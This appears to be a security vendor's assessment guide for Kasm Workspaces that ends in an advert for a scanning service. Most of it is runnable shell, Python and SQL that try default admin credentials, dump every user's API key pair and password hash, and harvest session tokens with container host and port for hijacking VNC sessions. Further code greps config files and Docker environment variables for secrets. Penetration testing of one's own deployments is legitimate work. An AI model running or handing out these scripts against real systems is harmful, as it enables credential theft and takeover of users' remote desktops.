Kasm Workspaces is a widely deployed browser-based remote desktop and application isolation platform used by organizations for secure remote work, BYOD programs, and browser isolation security. Key assessment areas: admin@kasm.local/admin are the documented default admin credentials; API key pairs (api_key + api_key_secret) authenticate programmatic workspace operations; agent API keys control the underlying container hosts; the PostgreSQL database stores all user sessions including container access details; and workspace image configurations may embed sensitive environment variables passed to user containers. This guide covers systematic Kasm Workspaces security assessment.
# Kasm Workspaces — default credentials and admin console testing
KASM_URL="https://kasm.example.com"
# Test documented default admin credentials
# Kasm ships with admin@kasm.local / admin on fresh install
for CRED in "admin@kasm.local:admin" "admin@kasm.local:password" "user@kasm.local:password"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${KASM_URL}/api/public/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('token','')
u = d.get('user',{})
if t:
print(f'OK token={t[:30]}... role={u.get(\"realm\",\"unknown\")} username={u.get(\"username\")}')
else:
err = d.get('error_message',str(list(d.keys())))
print(f'FAIL: {err}')
" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${TOKEN}"
done
# Check admin API endpoints
TOKEN="your-kasm-token"
KASM_USER_ID="your-user-id"
# List all users (admin only)
curl -s -X POST "${KASM_URL}/api/public/get_users" \
-H "Content-Type: application/json" \
-d "{\"api_key\":\"${TOKEN}\",\"api_key_secret\":\"your-secret\"}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users[:10]:
print(f' {u.get(\"username\")} realm={u.get(\"realm\")} disabled={u.get(\"disabled\")}')
print(f' api_key={str(u.get(\"api_key\",\"\"))[:20]}... api_key_secret={str(u.get(\"api_key_secret\",\"\"))[:10]}...')
" 2>/dev/null
# Kasm Workspaces API key pair and session enumeration
KASM_URL="https://kasm.example.com"
API_KEY="your-kasm-api-key"
API_KEY_SECRET="your-kasm-api-key-secret"
# Kasm API uses key+secret pair for all authenticated requests
# Get all active workspace sessions (kasms)
curl -s -X POST "${KASM_URL}/api/public/get_kasms" \
-H "Content-Type: application/json" \
-d "{\"api_key\":\"${API_KEY}\",\"api_key_secret\":\"${API_KEY_SECRET}\",
\"target_user\":{\"user_id\":\"admin-user-id\"}}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
kasms = d.get('kasms',[])
print(f'Active sessions: {len(kasms)}')
for k in kasms[:10]:
print(f' [{k.get(\"kasm_id\",\"\")[:8]}] {k.get(\"image\",{}).get(\"friendly_name\",\"\")}')
print(f' user={k.get(\"username\")} status={k.get(\"operational_status\")}')
print(f' host={k.get(\"hostname\")} port={k.get(\"port\")} token={str(k.get(\"token\",\"\"))[:20]}...')
print(f' created={str(k.get(\"created\",\"\"))[:19]} expires={str(k.get(\"expiration_date\",\"\"))[:10]}')
" 2>/dev/null
# Get all available workspace images
curl -s -X POST "${KASM_URL}/api/public/get_images" \
-H "Content-Type: application/json" \
-d "{\"api_key\":\"${API_KEY}\",\"api_key_secret\":\"${API_KEY_SECRET}\"}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
images = d.get('images',[])
print(f'Images: {len(images)}')
for img in images[:10]:
print(f' {img.get(\"friendly_name\")} docker={img.get(\"image_src\",\"\")[:60]}')
# Check for sensitive env vars in image run_config
run_cfg = img.get('run_config',{})
envs = run_cfg.get('environment',{})
for k,v in envs.items():
if any(s in k.upper() for s in ['KEY','SECRET','PASS','TOKEN','CRED']):
print(f' ENV: {k}={str(v)[:40]}')
" 2>/dev/null
# Get agent keys (control container hosts)
curl -s -X POST "${KASM_URL}/api/public/get_agents" \
-H "Content-Type: application/json" \
-d "{\"api_key\":\"${API_KEY}\",\"api_key_secret\":\"${API_KEY_SECRET}\"}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
agents = d.get('agents',[])
print(f'Agents (container hosts): {len(agents)}')
for a in agents[:5]:
print(f' {a.get(\"hostname\")} {a.get(\"public_ip\")} key={str(a.get(\"api_key\",\"\"))[:20]}...')
" 2>/dev/null
# Kasm Workspaces database and container configuration extraction
# Docker environment variables
docker inspect kasm_db 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['POSTGRES','KASM','PASSWORD','SECRET','API_KEY']):
print(e)
" 2>/dev/null
# Check kasm.conf for API keys and secrets
find /opt/kasm /etc/kasm /app -name "*.conf" -o -name "*.yaml" -o -name "*.yml" 2>/dev/null | \
xargs grep -l "api_key\|secret\|password\|db_pass" 2>/dev/null | head -5
cat /opt/kasm/current/conf/app/api.app.config.yaml 2>/dev/null | \
grep -E "password|secret|api_key|db_pass|admin_password" | head -20
# PostgreSQL — all Kasm data
DB_URL="postgresql://kasmapp:PASSWORD@localhost/kasm"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users with API credentials
SELECT u.user_id, u.username, u.realm,
u.pw_hash,
u.api_key, u.api_key_secret,
u.disabled, u.created
FROM users u
ORDER BY u.realm DESC, u.created ASC
LIMIT 10;
EOF
-- realm: admin = highest privilege
-- api_key + api_key_secret: plaintext API credentials for each user
-- pw_hash: bcrypt password hash
-- All workspace sessions (kasms)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT k.kasm_id, k.username,
k.image_id, k.hostname,
k.port, k.token,
k.operational_status,
k.created, k.expiration_date
FROM kasms k
ORDER BY k.created DESC
LIMIT 20;
EOF
-- token: session token for direct VNC/container access
-- hostname/port: direct container connection details
-- API key audit log
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT al.event_type, al.username,
al.message, al.created,
al.client_ip
FROM audit_log al
WHERE al.event_type LIKE '%api%'
ORDER BY al.created DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin@kasm.local/admin credential access | POST /api/public/login with admin@kasm.local/admin — documented default; full admin API access to all users, workspace sessions, agent hosts, and image configurations; enables API key extraction for all users | Critical |
| PostgreSQL users table API key pair extraction | SELECT api_key, api_key_secret FROM users — plaintext API key pairs for all users; admin user API keys allow full platform control; user API keys allow session provisioning and enumeration | Critical |
| Active session token extraction and VNC hijacking | SELECT token, hostname, port FROM kasms — session tokens with direct container connection details; token enables connecting to the user's running workspace container (VNC session) without authentication | High |
| Workspace image environment variable disclosure | POST /api/public/get_images — image run_config.environment may contain API keys and secrets configured for user containers; these secrets are visible to any user who can enumerate images | High |
| Agent API key extraction for container host access | POST /api/public/get_agents — agent API keys control the underlying container hosts; agent key compromise enables direct container host manipulation bypassing the Kasm management plane | High |
Ironimo tests Kasm Workspaces deployments for default admin@kasm.local/admin credential access, PostgreSQL users table API key pair extraction, active session token enumeration for VNC session hijacking, workspace image environment variable secret disclosure, agent API key container host access, configuration file admin password extraction, Docker environment variable exposure, audit log analysis for unauthorized API usage, user enumeration via admin API, and workspace image run_config sensitive data assessment.
Start free scan